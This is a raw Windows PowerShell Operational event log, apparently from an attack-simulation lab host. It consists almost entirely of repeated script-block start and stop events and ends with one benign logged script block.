Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989694 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989693 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989692 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989691 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989690 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989689 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989688 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989687 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989686 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989685 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989684 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989683 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989682 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989681 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989680 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989679 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989678 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989677 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989676 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989675 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989674 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989673 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989672 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989671 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989670 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989669 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989668 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989667 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989666 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989665 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989664 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989663 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989662 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989661 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989660 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989659 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989658 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989657 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989656 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989655 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989654 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989653 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989652 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989651 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989650 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989649 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989648 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989647 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989646 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989645 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989644 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989643 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989642 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989641 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989640 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989639 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989638 Keywords=None Message=Creating Scriptblock text (1 of 1): { $PSBoundParameters.Keys -notcontains $_ } ScriptBlock ID: 